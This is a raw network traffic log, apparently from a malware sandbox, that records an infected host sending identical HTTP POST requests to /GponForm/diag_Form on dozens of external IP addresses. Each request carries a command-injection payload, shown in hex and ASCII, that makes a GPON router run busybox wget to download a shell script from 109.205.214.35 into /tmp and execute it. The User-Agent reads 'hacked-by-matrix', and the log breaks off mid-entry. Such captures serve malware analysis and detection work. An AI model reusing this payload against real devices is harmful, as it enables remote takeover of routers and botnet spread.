Mar 21, 2024 05:22:53.631362915 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
728	192.168.2.13	38060	118.242.117.164	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631397963 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
729	192.168.2.13	55828	212.221.87.109	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631407976 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
730	192.168.2.13	52706	109.232.246.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631408930 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
731	192.168.2.13	46258	109.199.225.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631429911 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
732	192.168.2.13	60716	42.210.125.177	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631437063 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
733	192.168.2.13	35070	42.123.23.77	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631469011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
734	192.168.2.13	44652	212.103.26.152	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631478071 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
735	192.168.2.13	50258	212.213.234.173	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631499052 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
736	192.168.2.13	56108	5.197.46.66	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631510019 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
737	192.168.2.13	38078	42.160.110.193	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631522894 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
738	192.168.2.13	59848	212.239.15.58	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631550074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
739	192.168.2.13	41800	118.39.151.168	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631556988 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
740	192.168.2.13	51866	118.208.200.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631561995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
741	192.168.2.13	36868	109.125.175.15	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631593943 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
742	192.168.2.13	44004	118.84.152.0	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631593943 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
743	192.168.2.13	46384	118.12.232.190	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631596088 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
744	192.168.2.13	57504	42.71.98.191	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631629944 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
745	192.168.2.13	41262	42.163.168.58	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631659031 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
746	192.168.2.13	44956	42.26.55.174	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631663084 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
747	192.168.2.13	43154	5.213.0.58	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631664038 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
748	192.168.2.13	35156	109.190.249.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631674051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
749	192.168.2.13	56794	109.82.11.170	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631675005 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
750	192.168.2.13	58822	109.147.166.135	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631715059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
751	192.168.2.13	37566	42.210.80.224	443

Timestamp	Bytes transferred	Direction	Data
